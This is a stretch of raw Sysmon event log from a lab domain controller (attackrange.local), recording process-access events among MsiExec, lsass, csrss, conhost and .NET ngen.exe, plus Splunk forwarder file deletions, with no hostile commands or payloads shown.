14:43:46.426{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-F107-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.426{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-EF07-00000000F001}1628c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.426{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-EF07-00000000F001}1628c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.395{7BD73061-6F22-613B-F007-00000000F001}46762992C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-EF07-00000000F001}1628c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.395{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-F007-00000000F001}4676C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.395{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-EF07-00000000F001}1628c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.395{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-EF07-00000000F001}1628c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.379{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-ED07-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.379{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-ED07-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.363{7BD73061-6F22-613B-EE07-00000000F001}11725516C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-ED07-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.348{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-EE07-00000000F001}1172C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.348{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-ED07-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.348{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-ED07-00000000F001}5172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.332{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-EB07-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.332{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-EB07-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.332{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CCFA1DCDC29EE81ACD5D27D039BDB24,SHA256=AA02BB252D6F04EC8F2E263CCB7EC1F819754A9B0D78477C70FD4F733A5BE8D7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.332{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB367121EF2BB1585D47C3C7526406FB,SHA256=9F68840AA5A00CD5C58B760FD8477C014FAF8F5A69F78205FFE82EE77377D99B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.317{7BD73061-6F22-613B-EC07-00000000F001}64444656C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-EB07-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.317{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-EC07-00000000F001}6444C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.317{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-EB07-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.301{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-EB07-00000000F001}6420c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.301{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E907-00000000F001}6296c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.301{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E907-00000000F001}6296c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.285{7BD73061-6F22-613B-EA07-00000000F001}23805424C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-E907-00000000F001}6296c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.270{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-EA07-00000000F001}2380C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.270{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E907-00000000F001}6296c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.270{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-E907-00000000F001}6296c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.254{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E707-00000000F001}7008c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.254{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E707-00000000F001}7008c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.238{7BD73061-6F22-613B-E807-00000000F001}10126224C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-E707-00000000F001}7008c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.238{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E807-00000000F001}1012C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.238{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E707-00000000F001}7008c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 